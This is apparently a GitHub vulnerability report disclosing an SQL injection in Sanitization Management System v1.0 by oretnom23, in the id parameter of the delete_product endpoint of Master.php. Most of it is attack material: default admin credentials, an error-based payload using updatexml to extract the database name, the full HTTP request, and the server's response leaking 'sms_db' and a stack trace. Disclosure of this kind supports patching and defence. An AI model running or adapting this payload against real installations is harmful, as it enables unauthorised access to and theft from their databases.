

main

...

bug_report / vendors / oretnom23 / sanitization-management-system / SQLi-1.md

llwyx200113 Create SQLi-1.md

History

1 contributor

49 lines (33 sloc) 1.48 KB

...

Sanitization Management System v1.0 by oretnom23 has SQL injection

BUG_Author: Lee

Login account: admin/admin123 (Super Admin account)

vendors: <https://www.sourcecodester.com/php/15770/sanitization-management-system-project-php-and-mysql-free-source-code.html>

The program is built using the xampp-php8.1 version

Execute the following statement to create the "product_list" table

```
CREATE TABLE `product_list` (  
  `id` int(11) NOT NULL  
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;  
COMMIT;
```

Vulnerability File: /php-sms/classes/Master.php?f=delete_product

Vulnerability location: /php-sms/classes/Master.php?f=delete_product, id

dbname =sms_db,length=6

[+] Payload: id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ----> id

```
POST /php-sms/classes/Master.php?f=delete_product HTTP/1.1  
Host: 192.168.1.88  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
DNT: 1  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Referer: http://192.168.1.88/php-sms/admin/?page=services  
Content-Length: 65  
Cookie: PHPSESSID=3puonr8mf2gr4m6iivf71mhjtq  
Connection: close
```

id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

```
POST /php-sms/classes/Master.php?f=delete_product HTTP/1.1 200 OK  
Host: 192.168.1.88  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
DNT: 1  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Referer: http://192.168.1.88/php-sms/admin/?page=services  
Content-Length: 65  
Cookie: PHPSESSID=3puonr8mf2gr4m6iivf71mhjtq  
Connection: close  
  
id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+
```

```
HTTP/1.1 200 OK  
Date: Sat, 15 Oct 2022 09:02:47 GMT  
Server: Apache/2.4.18 (Ubuntu)  
X-Powered-By: PHP/8.1.0  
Expires: Thu, 19 Nov 1961 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Access-Control-Allow-Origin: *  
Content-Length: 421  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
<br />  
<@Fatal error/>: Uncaught mysqli_sql_exception: XPATH syntax error: ''sms_db'' in C:\xampp\htdocs\php-sms\classes\Master.php:192  
Stack trace:  
#0 C:\xampp\htdocs\php-sms\classes\Master.php(192): mysqli->query('DELETE FROM `pr...')  
#1 C:\xampp\htdocs\php-sms\classes\Master.php(346): Master->delete_product()  
#2 [main]  
thrown in C:\xampp\htdocs\php-sms\classes\Master.php on line 192/><br />
```